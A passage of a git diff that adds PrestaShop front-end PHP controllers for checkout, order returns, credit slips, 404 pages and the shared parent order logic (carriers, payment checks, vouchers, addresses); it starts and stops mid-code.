true, true); + else + $countries = Country::getCountries($this->context->language->id, true); + + // If a rule offer free-shipping, force hidding shipping prices + $free_shipping = false; + foreach ($this->context->cart->getCartRules() as $rule) + if ($rule['free_shipping'] && !$rule['carrier_restriction']) + { + $free_shipping = true; + break; + } + + $this->context->smarty->assign(array( + 'free_shipping' => $free_shipping, + 'isGuest' => isset($this->context->cookie->is_guest) ? $this->context->cookie->is_guest : 0, + 'countries' => $countries, + 'sl_country' => isset($selectedCountry) ? $selectedCountry : 0, + 'PS_GUEST_CHECKOUT_ENABLED' => Configuration::get('PS_GUEST_CHECKOUT_ENABLED'), + 'errorCarrier' => Tools::displayError('You must choose a carrier.', false), + 'errorTOS' => Tools::displayError('You must accept the Terms of Service.', false), + 'isPaymentStep' => (bool)(isset($_GET['isPaymentStep']) && $_GET['isPaymentStep']), + 'genders' => Gender::getGenders(), + 'one_phone_at_least' => (int)Configuration::get('PS_ONE_PHONE_AT_LEAST'), + 'HOOK_CREATE_ACCOUNT_FORM' => Hook::exec('displayCustomerAccountForm'), + 'HOOK_CREATE_ACCOUNT_TOP' => Hook::exec('displayCustomerAccountFormTop') + )); + $years = Tools::dateYears(); + $months = Tools::dateMonths(); + $days = Tools::dateDays(); + $this->context->smarty->assign(array( + 'years' => $years, + 'months' => $months, + 'days' => $days, + )); + + /* Load guest informations */ + if ($this->isLogged && $this->context->cookie->is_guest) + $this->context->smarty->assign('guestInformations', $this->_getGuestInformations()); + // ADDRESS + if ($this->isLogged) + $this->_assignAddress(); + // CARRIER + $this->_assignCarrier(); + // PAYMENT + $this->_assignPayment(); + Tools::safePostVars(); + + $blocknewsletter = Module::getInstanceByName('blocknewsletter'); + $this->context->smarty->assign('newsletter', (bool)($blocknewsletter && $blocknewsletter->active)); + + $this->_processAddressFormat(); + $this->setTemplate(_PS_THEME_DIR_.'order-opc.tpl'); + } + + protected function _getGuestInformations() + { + $customer = $this->context->customer; + $address_delivery = new Address($this->context->cart->id_address_delivery); + + if ($customer->birthday) + $birthday = explode('-', $customer->birthday); + else + $birthday = array('0', '0', '0'); + + return array( + 'id_customer' => (int)$customer->id, + 'email' => Tools::htmlentitiesUTF8($customer->email), + 'customer_lastname' => Tools::htmlentitiesUTF8($customer->lastname), + 'customer_firstname' => Tools::htmlentitiesUTF8($customer->firstname), + 'newsletter' => (int)$customer->newsletter, + 'optin' => (int)$customer->optin, + 'id_address_delivery' => (int)$this->context->cart->id_address_delivery, + 'company' => Tools::htmlentitiesUTF8($address_delivery->company), + 'lastname' => Tools::htmlentitiesUTF8($address_delivery->lastname), + 'firstname' => Tools::htmlentitiesUTF8($address_delivery->firstname), + 'vat_number' => Tools::htmlentitiesUTF8($address_delivery->vat_number), + 'dni' => Tools::htmlentitiesUTF8($address_delivery->dni), + 'address1' => Tools::htmlentitiesUTF8($address_delivery->address1), + 'postcode' => Tools::htmlentitiesUTF8($address_delivery->postcode), + 'city' => Tools::htmlentitiesUTF8($address_delivery->city), + 'phone' => Tools::htmlentitiesUTF8($address_delivery->phone), + 'phone_mobile' => Tools::htmlentitiesUTF8($address_delivery->phone_mobile), + 'id_country' => (int)($address_delivery->id_country), + 'id_state' => (int)($address_delivery->id_state), + 'id_gender' => (int)$customer->id_gender, + 'sl_year' => $birthday[0], + 'sl_month' => $birthday[1], + 'sl_day' => $birthday[2] + ); + } + + protected function _assignCarrier() + { + if (!$this->isLogged) + { + $carriers = $this->context->cart->simulateCarriersOutput(); + $oldMessage = Message::getMessageByCartId((int)($this->context->cart->id)); + $this->context->smarty->assign(array( + 'HOOK_EXTRACARRIER' => null, + 'HOOK_EXTRACARRIER_ADDR' => null, + 'oldMessage' => isset($oldMessage['message'])? $oldMessage['message'] : '', + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'checked' => $this->context->cart->simulateCarrierSelectedOutput(), + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $this->context->cart->getDeliveryOption(null, true) + )) + )); + } + else + parent::_assignCarrier(); + } + + protected function _assignPayment() + { + $this->context->smarty->assign(array( + 'HOOK_TOP_PAYMENT' => ($this->isLogged ? Hook::exec('displayPaymentTop') : ''), + 'HOOK_PAYMENT' => $this->_getPaymentMethods() + )); + } + + protected function _getPaymentMethods() + { + if (!$this->isLogged) + return '

'.Tools::displayError('Please sign in to see payment methods.').'

'; + if ($this->context->cart->OrderExists()) + return '

'.Tools::displayError('Error: This order has already been validated.').'

'; + if (!$this->context->cart->id_customer || !Customer::customerIdExistsStatic($this->context->cart->id_customer) || Customer::isBanned($this->context->cart->id_customer)) + return '

'.Tools::displayError('Error: No customer.').'

'; + $address_delivery = new Address($this->context->cart->id_address_delivery); + $address_invoice = ($this->context->cart->id_address_delivery == $this->context->cart->id_address_invoice ? $address_delivery : new Address($this->context->cart->id_address_invoice)); + if (!$this->context->cart->id_address_delivery || !$this->context->cart->id_address_invoice || !Validate::isLoadedObject($address_delivery) || !Validate::isLoadedObject($address_invoice) || $address_invoice->deleted || $address_delivery->deleted) + return '

'.Tools::displayError('Error: Please select an address.').'

'; + if (count($this->context->cart->getDeliveryOptionList()) == 0 && !$this->context->cart->isVirtualCart()) + { + if ($this->context->cart->isMultiAddressDelivery()) + return '

'.Tools::displayError('Error: None of your chosen carriers deliver to some of the addresses you\'ve selected.').'

'; + else + return '

'.Tools::displayError('Error: None of your chosen carriers deliver to the address you\'ve selected.').'

'; + } + if (!$this->context->cart->getDeliveryOption(null, false) && !$this->context->cart->isVirtualCart()) + return '

'.Tools::displayError('Error: Please choose a carrier.').'

'; + if (!$this->context->cart->id_currency) + return '

'.Tools::displayError('Error: No currency has been selected.').'

'; + if (!$this->context->cookie->checkedTOS && Configuration::get('PS_CONDITIONS')) + return '

'.Tools::displayError('Please accept the Terms of Service.').'

'; + + /* If some products have disappear */ + if (!$this->context->cart->checkQuantities()) + return '

'.Tools::displayError('An item in your cart is no longer available. You cannot proceed with your order.').'

'; + + /* Check minimal amount */ + $currency = Currency::getCurrency((int)$this->context->cart->id_currency); + + $minimalPurchase = Tools::convertPrice((float)Configuration::get('PS_PURCHASE_MINIMUM'), $currency); + if ($this->context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS) < $minimalPurchase) + return '

'.sprintf( + Tools::displayError('A minimum purchase total of %s is required in order to validate your order.'), + Tools::displayPrice($minimalPurchase, $currency) + ).'

'; + + /* Bypass payment step if total is 0 */ + if ($this->context->cart->getOrderTotal() <= 0) + return '

'; + + $return = Hook::exec('displayPayment'); + if (!$return) + return '

'.Tools::displayError('No payment method is available for use at this time. ').'

'; + return $return; + } + + protected function _getCarrierList() + { + $address_delivery = new Address($this->context->cart->id_address_delivery); + + $cms = new CMS(Configuration::get('PS_CONDITIONS_CMS_ID'), $this->context->language->id); + $link_conditions = $this->context->link->getCMSLink($cms, $cms->link_rewrite, true); + if (!strpos($link_conditions, '?')) + $link_conditions .= '?content_only=1'; + else + $link_conditions .= '&content_only=1'; + + $carriers = $this->context->cart->simulateCarriersOutput(); + $delivery_option = $this->context->cart->getDeliveryOption(null, false, false); + + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $oldMessage = Message::getMessageByCartId((int)($this->context->cart->id)); + + $free_shipping = false; + foreach ($this->context->cart->getCartRules() as $rule) + { + if ($rule['free_shipping'] && !$rule['carrier_restriction']) + { + $free_shipping = true; + break; + } + } + + $vars = array( + 'free_shipping' => $free_shipping, + 'checkedTOS' => (int)($this->context->cookie->checkedTOS), + 'recyclablePackAllowed' => (int)(Configuration::get('PS_RECYCLABLE_PACK')), + 'giftAllowed' => (int)(Configuration::get('PS_GIFT_WRAPPING')), + 'cms_id' => (int)(Configuration::get('PS_CONDITIONS_CMS_ID')), + 'conditions' => (int)(Configuration::get('PS_CONDITIONS')), + 'link_conditions' => $link_conditions, + 'recyclable' => (int)($this->context->cart->recyclable), + 'gift_wrapping_price' => (float)$wrapping_fees, + 'total_wrapping_cost' => Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency), + 'total_wrapping_tax_exc_cost' => Tools::convertPrice($wrapping_fees, $this->context->currency), + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'carriers' => $carriers, + 'checked' => $this->context->cart->simulateCarrierSelectedOutput(), + 'delivery_option' => $delivery_option, + 'address_collection' => $this->context->cart->getAddressCollection(), + 'opc' => true, + 'oldMessage' => isset($oldMessage['message'])? $oldMessage['message'] : '', + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $delivery_option + )) + ); + + Cart::addExtraCarriers($vars); + + $this->context->smarty->assign($vars); + + if (!Address::isCountryActiveById((int)($this->context->cart->id_address_delivery)) && $this->context->cart->id_address_delivery != 0) + $this->errors[] = Tools::displayError('This address is not in a valid area.'); + elseif ((!Validate::isLoadedObject($address_delivery) || $address_delivery->deleted) && $this->context->cart->id_address_delivery != 0) + $this->errors[] = Tools::displayError('This address is invalid.'); + else + { + $result = array( + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $this->context->cart->getDeliveryOption(null, true) + )), + 'carrier_block' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-carrier.tpl') + ); + + Cart::addExtraCarriers($result); + return $result; + } + if (count($this->errors)) + return array( + 'hasError' => true, + 'errors' => $this->errors, + 'carrier_block' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-carrier.tpl') + ); + } + + protected function _processAddressFormat() + { + $selectedCountry = (int)(Configuration::get('PS_COUNTRY_DEFAULT')); + + $address_delivery = new Address((int)$this->context->cart->id_address_delivery); + $address_invoice = new Address((int)$this->context->cart->id_address_invoice); + + $inv_adr_fields = AddressFormat::getOrderedAddressFields((int)$address_delivery->id_country, false, true); + $dlv_adr_fields = AddressFormat::getOrderedAddressFields((int)$address_invoice->id_country, false, true); + + $inv_all_fields = array(); + $dlv_all_fields = array(); + + foreach (array('inv', 'dlv') as $adr_type) + { + foreach (${$adr_type.'_adr_fields'} as $fields_line) + foreach (explode(' ', $fields_line) as $field_item) + ${$adr_type.'_all_fields'}[] = trim($field_item); + + $this->context->smarty->assign($adr_type.'_adr_fields', ${$adr_type.'_adr_fields'}); + $this->context->smarty->assign($adr_type.'_all_fields', ${$adr_type.'_all_fields'}); + } + } + + protected function getFormatedSummaryDetail() + { + $result = array('summary' => $this->context->cart->getSummaryDetails(), + 'customizedDatas' => Product::getAllCustomizedDatas($this->context->cart->id, null, true)); + + foreach ($result['summary']['products'] as $key => &$product) + { + $product['quantity_without_customization'] = $product['quantity']; + if ($result['customizedDatas']) + { + if (isset($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']])) + foreach ($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']] as $addresses) + foreach ($addresses as $customization) + $product['quantity_without_customization'] -= (int)$customization['quantity']; + } + } + + if ($result['customizedDatas']) + Product::addCustomizationPrice($result['summary']['products'], $result['customizedDatas']); + return $result; + } + +} + diff --git a/controllers/front/OrderReturnController.php b/controllers/front/OrderReturnController.php new file mode 100755 index 0000000..884ee51 --- /dev/null +++ b/controllers/front/OrderReturnController.php @@ -0,0 +1,94 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderReturnControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'order-return'; + public $authRedirection = 'order-follow'; + public $ssl = true; + + /** + * Initialize order return controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + header('Cache-Control: no-cache, must-revalidate'); + header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); + + if (!isset($_GET['id_order_return']) || !Validate::isUnsignedId($_GET['id_order_return'])) + $this->errors[] = Tools::displayError('Order ID required'); + else + { + $orderRet = new OrderReturn((int)($_GET['id_order_return'])); + if (Validate::isLoadedObject($orderRet) && $orderRet->id_customer == $this->context->cookie->id_customer) + { + $order = new Order((int)($orderRet->id_order)); + if (Validate::isLoadedObject($order)) + { + $state = new OrderReturnState((int)($orderRet->state)); + $this->context->smarty->assign(array( + 'orderRet' => $orderRet, + 'order' => $order, + 'state_name' => $state->name[(int)$this->context->language->id], + 'return_allowed' => false, + 'products' => OrderReturn::getOrdersReturnProducts((int)($orderRet->id), $order), + 'returnedCustomizations' => OrderReturn::getReturnedCustomizedProducts((int)($orderRet->id_order)), + 'customizedDatas' => Product::getAllCustomizedDatas((int)($order->id_cart)) + )); + } + else + $this->errors[] = Tools::displayError('Cannot find the order return.'); + } + else + $this->errors[] = Tools::displayError('Cannot find the order return.'); + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'nbdaysreturn' => (int)(Configuration::get('PS_ORDER_RETURN_NB_DAYS')) + )); + $this->setTemplate(_PS_THEME_DIR_.'order-return.tpl'); + } + + public function displayAjax() + { + $this->smartyOutputContent($this->template); + } +} + diff --git a/controllers/front/OrderSlipController.php b/controllers/front/OrderSlipController.php new file mode 100755 index 0000000..6d052de --- /dev/null +++ b/controllers/front/OrderSlipController.php @@ -0,0 +1,54 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderSlipControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'order-slip'; + public $authRedirection = 'order-slip'; + public $ssl = true; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(array(_THEME_CSS_DIR_.'history.css', _THEME_CSS_DIR_.'addresses.css')); + $this->addJqueryPlugin('scrollTo'); + $this->addJS(array(_THEME_JS_DIR_.'history.js', _THEME_JS_DIR_.'tools.js')); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign('ordersSlip', OrderSlip::getOrdersSlip((int)$this->context->cookie->id_customer)); + $this->setTemplate(_PS_THEME_DIR_.'order-slip.tpl'); + } +} + diff --git a/controllers/front/PageNotFoundController.php b/controllers/front/PageNotFoundController.php new file mode 100755 index 0000000..a2483d4 --- /dev/null +++ b/controllers/front/PageNotFoundController.php @@ -0,0 +1,60 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PageNotFoundControllerCore extends FrontController +{ + public $php_self = '404'; + public $page_name = 'pagenotfound'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + + if (in_array(Tools::strtolower(substr($_SERVER['REQUEST_URI'], -3)), array('png', 'jpg', 'gif'))) + { + header('Content-Type: image/gif'); + readfile(_PS_IMG_DIR_.'404.gif'); + exit; + } + elseif (in_array(Tools::strtolower(substr($_SERVER['REQUEST_URI'], -3)), array('.js', 'css'))) + exit; + + parent::initContent(); + + $this->setTemplate(_PS_THEME_DIR_.'404.tpl'); + } + + public function canonicalRedirection($canonical_url = '') + { + // 404 - no need to redirect to the canonical url + } +} + diff --git a/controllers/front/ParentOrderController.php b/controllers/front/ParentOrderController.php new file mode 100755 index 0000000..a9e003f --- /dev/null +++ b/controllers/front/ParentOrderController.php @@ -0,0 +1,586 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Class FreeOrder to use PaymentModule (abstract class, cannot be instancied) + */ +class FreeOrder extends PaymentModule +{ + public $active = 1; + public $name = 'free_order'; + public $displayName = 'free_order'; +} + +class ParentOrderControllerCore extends FrontController +{ + public $ssl = true; + public $php_self = 'order'; + + public $nbProducts; + + /** + * Initialize parent order controller + * @see FrontController::init() + */ + public function init() + { + $this->isLogged = (bool)($this->context->customer->id && Customer::customerIdExistsStatic((int)$this->context->cookie->id_customer)); + + parent::init(); + + /* Disable some cache related bugs on the cart/order */ + header('Cache-Control: no-cache, must-revalidate'); + header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); + + $this->nbProducts = $this->context->cart->nbProducts(); + + global $isVirtualCart; + + if (!$this->context->customer->isLogged(true) && $this->context->getMobileDevice() && Tools::getValue('step')) + Tools::redirect($this->context->link->getPageLink('authentication', true, (int)$this->context->language->id, $params)); + + // Redirect to the good order process + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 0 && Dispatcher::getInstance()->getController() != 'order') + Tools::redirect('index.php?controller=order'); + + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 1 && Dispatcher::getInstance()->getController() != 'orderopc') + { + if (isset($_GET['step']) && $_GET['step'] == 3) + Tools::redirect('index.php?controller=order-opc&isPaymentStep=true'); + Tools::redirect('index.php?controller=order-opc'); + } + + if (Configuration::get('PS_CATALOG_MODE')) + $this->errors[] = Tools::displayError('This store has not accepted your new order.'); + + if (Tools::isSubmit('submitReorder') && $id_order = (int)Tools::getValue('id_order')) + { + $oldCart = new Cart(Order::getCartIdStatic($id_order, $this->context->customer->id)); + $duplication = $oldCart->duplicate(); + if (!$duplication || !Validate::isLoadedObject($duplication['cart'])) + $this->errors[] = Tools::displayError('Sorry. We cannot renew your order.'); + else if (!$duplication['success']) + $this->errors[] = Tools::displayError('Some items are no longer available, and we are unable to renew your order.'); + else + { + $this->context->cookie->id_cart = $duplication['cart']->id; + $this->context->cookie->write(); + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + Tools::redirect('index.php?controller=order-opc'); + Tools::redirect('index.php?controller=order'); + } + } + + if ($this->nbProducts) + { + if (CartRule::isFeatureActive()) + { + if (Tools::isSubmit('submitAddDiscount')) + { + if (!($code = trim(Tools::getValue('discount_name')))) + $this->errors[] = Tools::displayError('You must enter a voucher code.'); + elseif (!Validate::isCleanHtml($code)) + $this->errors[] = Tools::displayError('The voucher code is invalid.'); + else + { + if (($cartRule = new CartRule(CartRule::getIdByCode($code))) && Validate::isLoadedObject($cartRule)) + { + if ($error = $cartRule->checkValidity($this->context, false, true)) + $this->errors[] = $error; + else + { + $this->context->cart->addCartRule($cartRule->id); + Tools::redirect('index.php?controller=order-opc'); + } + } + else + { + $this->errors[] = Tools::displayError('This voucher does not exists.'); + } + } + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'discount_name' => Tools::safeOutput($code) + )); + } + elseif (($id_cart_rule = (int)Tools::getValue('deleteDiscount')) && Validate::isUnsignedId($id_cart_rule)) + { + $this->context->cart->removeCartRule($id_cart_rule); + Tools::redirect('index.php?controller=order-opc'); + } + } + /* Is there only virtual product in cart */ + if ($isVirtualCart = $this->context->cart->isVirtualCart()) + $this->setNoCarrier(); + } + + $this->context->smarty->assign('back', Tools::safeOutput(Tools::getValue('back'))); + } + + public function setMedia() + { + parent::setMedia(); + + if ($this->context->getMobileDevice() === false) + // Adding CSS style sheet + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + + // Adding JS files + $this->addJS(_THEME_JS_DIR_.'tools.js'); + if ((Configuration::get('PS_ORDER_PROCESS_TYPE') == 0 && Tools::getValue('step') == 1) || Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + $this->addJS(_THEME_JS_DIR_.'order-address.js'); + $this->addJqueryPlugin('fancybox'); + if ((int)(Configuration::get('PS_BLOCK_CART_AJAX')) || Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + { + $this->addJS(_THEME_JS_DIR_.'cart-summary.js'); + $this->addJqueryPlugin('typewatch'); + } + } + + /** + * Check if order is free + * @return boolean + */ + protected function _checkFreeOrder() + { + if ($this->context->cart->getOrderTotal() <= 0) + { + $order = new FreeOrder(); + $order->free_order_class = true; + $order->validateOrder($this->context->cart->id, Configuration::get('PS_OS_PAYMENT'), 0, Tools::displayError('Free order', false), null, array(), null, false, $this->context->cart->secure_key); + return (int)Order::getOrderByCartId($this->context->cart->id); + } + return false; + } + + protected function _updateMessage($messageContent) + { + if ($messageContent) + { + if (!Validate::isMessage($messageContent)) + $this->errors[] = Tools::displayError('Invalid message'); + else if ($oldMessage = Message::getMessageByCartId((int)($this->context->cart->id))) + { + $message = new Message((int)($oldMessage['id_message'])); + $message->message = $messageContent; + $message->update(); + } + else + { + $message = new Message(); + $message->message = $messageContent; + $message->id_cart = (int)($this->context->cart->id); + $message->id_customer = (int)($this->context->cart->id_customer); + $message->add(); + } + } + else + { + if ($oldMessage = Message::getMessageByCartId($this->context->cart->id)) + { + $message = new Message($oldMessage['id_message']); + $message->delete(); + } + } + return true; + } + + protected function _processCarrier() + { + $this->context->cart->recyclable = (int)(Tools::getValue('recyclable')); + $this->context->cart->gift = (int)(Tools::getValue('gift')); + if ((int)(Tools::getValue('gift'))) + { + if (!Validate::isMessage($_POST['gift_message'])) + $this->errors[] = Tools::displayError('Invalid gift message.'); + else + $this->context->cart->gift_message = strip_tags($_POST['gift_message']); + } + + if (isset($this->context->customer->id) && $this->context->customer->id) + { + $address = new Address((int)($this->context->cart->id_address_delivery)); + if (!($id_zone = Address::getZoneById($address->id))) + $this->errors[] = Tools::displayError('No zone matches your address.'); + } + else + $id_zone = Country::getIdZone((int)Configuration::get('PS_COUNTRY_DEFAULT')); + + if (Tools::getIsset('delivery_option')) + { + if ($this->validateDeliveryOption(Tools::getValue('delivery_option'))) + $this->context->cart->setDeliveryOption(Tools::getValue('delivery_option')); + } + elseif (Tools::getIsset('id_carrier')) + { + // For retrocompatibility reason, try to transform carrier to an delivery option list + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + if (count($delivery_option_list) == 1) + { + $delivery_option = reset($delivery_option_list); + $key = Cart::desintifier(Tools::getValue('id_carrier')); + foreach ($delivery_option_list as $id_address => $options) + if (isset($options[$key])) + { + $this->context->cart->id_carrier = (int)Tools::getValue('id_carrier'); + $this->context->cart->setDeliveryOption(array($id_address => $key)); + if(isset($this->context->cookie->id_country)) + unset($this->context->cookie->id_country); + if(isset($this->context->cookie->id_state)) + unset($this->context->cookie->id_state); + + } + } + } + + Hook::exec('actionCarrierProcess', array('cart' => $this->context->cart)); + + if (!$this->context->cart->update()) + return false; + + // Carrier has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + return true; + } + + /** + * Validate get/post param delivery option + * @param array $delivery_option + */ + protected function validateDeliveryOption($delivery_option) + { + if (!is_array($delivery_option)) + return false; + + foreach ($delivery_option as $option) + if (!preg_match('/(\d+,)?\d+/', $option)) + return false; + + return true; + } + + protected function _assignSummaryInformations() + { + $summary = $this->context->cart->getSummaryDetails(); + $customizedDatas = Product::getAllCustomizedDatas($this->context->cart->id); + + // override customization tax rate with real tax (tax rules) + if ($customizedDatas) + { + foreach ($summary['products'] as &$productUpdate) + { + $productId = (int)(isset($productUpdate['id_product']) ? $productUpdate['id_product'] : $productUpdate['product_id']); + $productAttributeId = (int)(isset($productUpdate['id_product_attribute']) ? $productUpdate['id_product_attribute'] : $productUpdate['product_attribute_id']); + + if (isset($customizedDatas[$productId][$productAttributeId])) + $productUpdate['tax_rate'] = Tax::getProductTaxRate($productId, $this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + } + + Product::addCustomizationPrice($summary['products'], $customizedDatas); + } + + $cart_product_context = Context::getContext()->cloneContext(); + foreach ($summary['products'] as $key => &$product) + { + $product['quantity'] = $product['cart_quantity'];// for compatibility with 1.2 themes + + if ($cart_product_context->shop->id != $product['id_shop']) + $cart_product_context->shop = new Shop((int)$product['id_shop']); + $product['price_without_specific_price'] = Product::getPriceStatic( + $product['id_product'], + !Product::getTaxCalculationMethod(), + $product['id_product_attribute'], + 2, + null, + false, + false, + 1, + false, + null, + null, + null, + $null, + true, + true, + $cart_product_context); + + if (Product::getTaxCalculationMethod()) + $product['is_discounted'] = $product['price_without_specific_price'] != $product['price']; + else + $product['is_discounted'] = $product['price_without_specific_price'] != $product['price_wt']; + } + + // Get available cart rules and unset the cart rules already in the cart + $available_cart_rules = CartRule::getCustomerCartRules($this->context->language->id, (isset($this->context->customer->id) ? $this->context->customer->id : 0), true, true, true, $this->context->cart); + $cart_cart_rules = $this->context->cart->getCartRules(); + foreach ($available_cart_rules as $key => $available_cart_rule) + { + if (!$available_cart_rule['highlight'] || strpos($available_cart_rule['code'], 'BO_ORDER_') === 0) + { + unset($available_cart_rules[$key]); + continue; + } + foreach ($cart_cart_rules as $cart_cart_rule) + if ($available_cart_rule['id_cart_rule'] == $cart_cart_rule['id_cart_rule']) + { + unset($available_cart_rules[$key]); + continue 2; + } + } + + $show_option_allow_separate_package = (!$this->context->cart->isAllProductsInStock(true) && Configuration::get('PS_SHIP_WHEN_AVAILABLE')); + + $this->context->smarty->assign($summary); + $this->context->smarty->assign(array( + 'token_cart' => Tools::getToken(false), + 'isLogged' => $this->isLogged, + 'isVirtualCart' => $this->context->cart->isVirtualCart(), + 'productNumber' => $this->context->cart->nbProducts(), + 'voucherAllowed' => CartRule::isFeatureActive(), + 'shippingCost' => $this->context->cart->getOrderTotal(true, Cart::ONLY_SHIPPING), + 'shippingCostTaxExc' => $this->context->cart->getOrderTotal(false, Cart::ONLY_SHIPPING), + 'customizedDatas' => $customizedDatas, + 'CUSTOMIZE_FILE' => Product::CUSTOMIZE_FILE, + 'CUSTOMIZE_TEXTFIELD' => Product::CUSTOMIZE_TEXTFIELD, + 'lastProductAdded' => $this->context->cart->getLastProduct(), + 'displayVouchers' => $available_cart_rules, + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + 'show_option_allow_separate_package' => $show_option_allow_separate_package, + + )); + + $this->context->smarty->assign(array( + 'HOOK_SHOPPING_CART' => Hook::exec('displayShoppingCartFooter', $summary), + 'HOOK_SHOPPING_CART_EXTRA' => Hook::exec('displayShoppingCart', $summary) + )); + } + + protected function _assignAddress() + { + //if guest checkout disabled and flag is_guest in cookies is actived + if (Configuration::get('PS_GUEST_CHECKOUT_ENABLED') == 0 && ((int)$this->context->customer->is_guest != Configuration::get('PS_GUEST_CHECKOUT_ENABLED'))) + { + $this->context->customer->logout(); + Tools::redirect(''); + } + else if (!Customer::getAddressesTotalById($this->context->customer->id)) + Tools::redirect('index.php?controller=address&back='.urlencode('order.php?step=1&multi-shipping='.(int)Tools::getValue('multi-shipping'))); + $customer = $this->context->customer; + if (Validate::isLoadedObject($customer)) + { + /* Getting customer addresses */ + $customerAddresses = $customer->getAddresses($this->context->language->id); + + // Getting a list of formated address fields with associated values + $formatedAddressFieldsValuesList = array(); + foreach ($customerAddresses as $address) + { + $tmpAddress = new Address($address['id_address']); + + $formatedAddressFieldsValuesList[$address['id_address']]['ordered_fields'] = AddressFormat::getOrderedAddressFields($address['id_country']); + $formatedAddressFieldsValuesList[$address['id_address']]['formated_fields_values'] = AddressFormat::getFormattedAddressFieldsValues( + $tmpAddress, + $formatedAddressFieldsValuesList[$address['id_address']]['ordered_fields']); + + unset($tmpAddress); + } + $this->context->smarty->assign(array( + 'addresses' => $customerAddresses, + 'formatedAddressFieldsValuesList' => $formatedAddressFieldsValuesList)); + + /* Setting default addresses for cart */ + if ((!isset($this->context->cart->id_address_delivery) || empty($this->context->cart->id_address_delivery)) && count($customerAddresses)) + { + $this->context->cart->id_address_delivery = (int)($customerAddresses[0]['id_address']); + $update = 1; + } + if ((!isset($this->context->cart->id_address_invoice) || empty($this->context->cart->id_address_invoice)) && count($customerAddresses)) + { + $this->context->cart->id_address_invoice = (int)($customerAddresses[0]['id_address']); + $update = 1; + } + /* Update cart addresses only if needed */ + if (isset($update) && $update) + { + $this->context->cart->update(); + + // Address has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + } + + /* If delivery address is valid in cart, assign it to Smarty */ + if (isset($this->context->cart->id_address_delivery)) + { + $deliveryAddress = new Address((int)($this->context->cart->id_address_delivery)); + if (Validate::isLoadedObject($deliveryAddress) && ($deliveryAddress->id_customer == $customer->id)) + $this->context->smarty->assign('delivery', $deliveryAddress); + } + + /* If invoice address is valid in cart, assign it to Smarty */ + if (isset($this->context->cart->id_address_invoice)) + { + $invoiceAddress = new Address((int)($this->context->cart->id_address_invoice)); + if (Validate::isLoadedObject($invoiceAddress) && ($invoiceAddress->id_customer == $customer->id)) + $this->context->smarty->assign('invoice', $invoiceAddress); + } + } + if ($oldMessage = Message::getMessageByCartId((int)($this->context->cart->id))) + $this->context->smarty->assign('oldMessage', $oldMessage['message']); + } + + protected function _assignCarrier() + { + $address = new Address($this->context->cart->id_address_delivery); + $id_zone = Address::getZoneById($address->id); + $carriers = $this->context->cart->simulateCarriersOutput(); + $checked = $this->context->cart->simulateCarrierSelectedOutput(); + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + $this->setDefaultCarrierSelection($delivery_option_list); + + $this->context->smarty->assign(array( + 'address_collection' => $this->context->cart->getAddressCollection(), + 'delivery_option_list' => $delivery_option_list, + 'carriers' => $carriers, + 'checked' => $checked, + 'delivery_option' => $this->context->cart->getDeliveryOption(null, false) + )); + + $vars = array( + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => 